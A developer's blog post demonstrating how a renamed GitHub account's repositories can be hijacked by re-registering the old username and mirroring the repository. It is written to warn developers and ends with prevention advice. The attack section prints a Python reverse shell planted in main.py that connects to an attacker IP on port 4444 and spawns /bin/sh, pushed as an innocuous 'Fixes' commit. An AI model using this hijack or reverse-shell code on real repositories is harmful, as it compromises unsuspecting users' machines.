Taking Over Renamed GitHub Account Repositories

Sam
poka-techblog
Published in
9 min readMay 17, 2021

--

Recently I’ve found myself wanting to change my GitHub username to something a bit more professional. I created my account awhile back when I was not contributing to any other repository than my own, and I didn’t plan to have any public repository that would be used by others, so the username didn’t really matter. But since then, I became a full-time developer at Poka and created a couple of public repositories. My username makes it a bit hard for other developers to tag me in pull request reviews or to understand that this is actually me.

A quick look in Google led me to a few blog posts that explain the process as well as the potential risks of doing such thing. However, I feel like these blog posts don’t put enough emphasis on the whole security aspect of this.

Being a security enthusiast myself and having worked in penetration testing for a couple of years, I thought of writing this article as a sort of “Proof-of-Concept” for a repository takeover in the event that a GitHub account that has some publicly used repositories is renamed.

Setting up the stage

I’ve created a brand new account for this purpose named “dax-test-01” that will serve as the account with a “popular” repository. This repository will be called “security-project”.

Newly created GitHub repository

This project will contain a very basic FastAPI “Hello World”. Let’s quickly write that code, try it out and push it to main (the code was taken directly from https://fastapi.tiangolo.com/#create-it).

dax$ uvicorn main:app --reload --host 0.0.0.0
INFO: Uvicorn running on http://0.0.0.0:8000 (Press CTRL+C to quit)
INFO: Started reloader process [7718] using statreload
INFO: Started server process [7720]
INFO: Waiting for application startup.
INFO: Application startup complete.
Pushing the new code to the repository

Now, let’s have our unsuspecting victim clone our repository, set it up and try it out.

victim$ git clone https://github.com/dax-test-01/security-project.git
Cloning into 'security-project'...
remote: Enumerating objects: 8, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 8 (delta 0), reused 5 (delta 0), pack-reused 0
Unpacking objects: 100% (8/8), 2.96 KiB | 378.00 KiB/s, done.
victim$ cd security-project/
victim$ uvicorn main:app --reload --host 0.0.0.0
INFO: Uvicorn running on http://0.0.0.0:8000 (Press CTRL+C to quit)
INFO: Started reloader process [260] using statreload
INFO: Started server process [262]
INFO: Waiting for application startup.
INFO: Application startup complete.

The fatal mistake

Now, let’s say that I am no longer satisfied with the username “dax-test-01”, and that “dax-test-02” would obviously be better. Luckily for us, GitHub allows us to change username painlessly in the account settings. This also sets up nice redirects for a lot of things, such as repository references. With these redirections, account renaming will be mostly transparent (except for a few things here and there as stated in GitHub documentation). People that cloned the repository before the renaming will still be able to pull, and links to the repository page will redirect to the new one. Here’s the catch: these redirections will only work as long as someone else doesn’t claim the redirected URLs.

To put these redirections in place, first, let’s rename our account:

Renaming the GitHub account
The account was successfully renamed

The above screenshot mentions to “update your local repositories to point to the new location”, so let’s do just that. There are also a couple of other things that we would want to adjust such as the username we are using when creating commits or any mention of our username in the project code, but this is irrelevant for this “Proof-of-Concept”.

dax$ git remote set-url origin https://github.com/dax-test-02/security-project.git

Just to show that the cloned repositories still works, let’s make a modification to the README and push it.

dax$ echo foo >> README.md
dax$ git add -A
dax$ git commit -m "README modif"
[main 33c477b] README modif
1 file changed, 1 insertion(+), 1 deletion(-)
dax$ git push
Username for 'https://github.com': dax-test-02
Password for 'https://dax-test-02@github.com':
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 2 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 282 bytes | 282.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0)
remote: Resolving deltas: 100% (1/1), completed with 1 local object.
To https://github.com/dax-test-02/security-project.git
9e56736..33c477b main -> main

And now let’s pull it again on the victim side. Note that the remote URL is still the old one.

victim$ git pull
remote: Enumerating objects: 5, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (1/1), done.
remote: Total 3 (delta 1), reused 3 (delta 1), pack-reused 0
Unpacking objects: 100% (3/3), 262 bytes | 87.00 KiB/s, done.
From https://github.com/dax-test-01/security-project
9e56736..33c477b main -> origin/main
Updating 9e56736..33c477b
Fast-forward
README.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
victim$ git remote -v
origin https://github.com/dax-test-01/security-project.git (fetch)
origin https://github.com/dax-test-01/security-project.git (push)

The hack

Now, let’s introduce our malicious actor. He stumbled upon our repository a little while ago and just noticed that we changed our GitHub username. Or even worse, he has set up a bot that scrapes GitHub and stores all popular repository URLs based on the number of stars and periodically checks them to find redirections. Since GitHub keeps no history of past usernames (except for the redirects of course), as soon as “dax-test-01” changed his username, it becomes publicly available for anyone to claim. Let’s create this new account:

Creating an account with the previously used username

We verify our email and we are now the proud new owner of the “dax-test-01” username:

Newly created GitHub account

Note that redirects are still working as long as the bad actor doesn’t create a repository with the same name as ours. The chances of this occurring by accident are quite small. If it happens, then this person is most likely trying to hijack the repository. Let’s have this new account create a repository named “security-project”. It’s important not to add a README or .gitignore because we want this repository to be completely empty and without branches:

Creating a repository with the same name as the one we want to hijack

Now, let’s mirror the legitimate code and push everything to our new malicious repository:

attacker$ git clone --mirror https://github.com/dax-test-02/security-project.git
Cloning into bare repository 'security-project.git'...
remote: Enumerating objects: 11, done.
remote: Counting objects: 100% (11/11), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 11 (delta 1), reused 8 (delta 1), pack-reused 0
Unpacking objects: 100% (11/11), 3.19 KiB | 1.59 MiB/s, done.
attacker$ cd security-project.git/
attacker$ git push --mirror https://github.com/dax-test-01/security-project.git
Username for 'https://github.com': dax-test-01
Password for 'https://dax-test-01@github.com':
Enumerating objects: 11, done.
Counting objects: 100% (11/11), done.
Delta compression using up to 2 threads
Compressing objects: 100% (8/8), done.
Writing objects: 100% (11/11), 3.21 KiB | 3.21 MiB/s, done.
Total 11 (delta 1), reused 0 (delta 0)
remote: Resolving deltas: 100% (1/1), done.
To https://github.com/dax-test-01/security-project.git
* [new branch] main -> main

Using the mirror option is important here. If we just create a new repository and copy/paste the original code in it, our potential victim would see the following message when pulling, indicating that the commit history is messed up:

victim$ git pull
warning: no common commits
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 9 (delta 0), reused 6 (delta 0), pack-reused 0
Unpacking objects: 100% (9/9), 3.11 KiB | 796.00 KiB/s, done.
From https://github.com/dax-test-01/security-project
+ 33c477b...0ef5920 main -> origin/main (forced update)
fatal: refusing to merge unrelated histories

Let’s clone our new malicious repository:

attacker$ git clone https://github.com/dax-test-01/security-project.git
Cloning into 'security-project'...
remote: Enumerating objects: 11, done.
remote: Counting objects: 100% (11/11), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 11 (delta 1), reused 11 (delta 1), pack-reused 0
Unpacking objects: 100% (11/11), 3.19 KiB | 1.06 MiB/s, done.

And add our surprise commit (the malicious code was taken from here):

attacker$ cat main.py
import socket
import subprocess
import os
from fastapi import FastAPIapp = FastAPI()s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.5.209",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
@app.get("/")
def read_root():
return {"Hello": "World"}

These few lines of Python will allow the attacker to access the victim’s machine with the privileges of the user that ran the FastAPI code. Let’s push it with a reasonable commit message:

attacker$ git add -A
attacker$ git commit -m "Fixes"
[main b900fd5] Fixes
1 file changed, 10 insertions(+)
attacker$ git push
Username for 'https://github.com': dax-test-01
Password for 'https://dax-test-01@github.com':
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 2 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 473 bytes | 473.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0)
remote: Resolving deltas: 100% (1/1), completed with 1 local object.
To https://github.com/dax-test-01/security-project.git
33c477b..b900fd5 main -> main
Malicious repository containing the new main.py

All we need to do now is setup our handler to catch our reverse shell and wait for our unsuspecting victim to candidly pull the repository and run the poisoned FastAPI code:

victim$ git pull
remote: Enumerating objects: 5, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 1), reused 3 (delta 1), pack-reused 0
Unpacking objects: 100% (3/3), 453 bytes | 151.00 KiB/s, done.
From https://github.com/dax-test-01/security-project
33c477b..b900fd5 main -> origin/main
Updating 33c477b..b900fd5
Fast-forward
main.py | 10 ++++++++++
1 file changed, 10 insertions(+)
victim$ uvicorn main:app --reload --host 0.0.0.0
INFO: Uvicorn running on http://0.0.0.0:8000 (Press CTRL+C to quit)
INFO: Started reloader process [297] using statreload
Reverse shell caught on the attacker’s machine

And just like that the attacker now has full control over the victim’s machine. In the above screenshot, we test our connection by checking the current user, the working directory and we write an arbitrary file in the /tmp folder. Since we can basically do everything the victim can do on his computer, you can imagine the kind of damage this could do!

How to prevent this (not really)

There is a temporary way to avoid this issue when renaming a GitHub account. It is called username squatting. This involves creating a new account with your old username as soon as you renamed your account. This way, you prevent a bad actor from creating that account himself. You can then write a nice message in your profile’s bio indicating that the account was renamed with a link to the new profile.

The reason I say this is temporary is because username squatting is against GitHub username policy. This policy states that such account can be removed or renamed without notice. Even worst, if you’ve been sitting on a username like this for a while, someone can contact GitHub support about releasing your username and they will most likely gladly do it. An example of this (not for malicious intent) can be found here, where such account was released under 24 hours.

How to prevent this (the only real way)

You’ve probably seen this coming, but the only way to avoid this is not to change your GitHub username if you have publicly used repositories.

Conclusion

At the time of writing this article, GitHub does not provide any feature that can help you rename your account in a secure way. A possible solution on GitHub’s side could be to add a username history to accounts with a “cool down” period of maybe a month so people won’t just change username 10 times a day. This, of course, is easier said than done since GitHub was not built for this purpose. The usernames are currently not “tightly coupled” to your account, which leads for example to the ability to commit as any GitHub user, potentially indicating a bigger problem.

In the meantime, you might want to hold on to your current username and start accepting the fact that you are going to be referred to as xXxZezima1337xXx for a little while.

--

--

Sam
poka-techblog

Cloud DevOps @ Poka & Volunteer/ChallengeDesigner @ Hackfest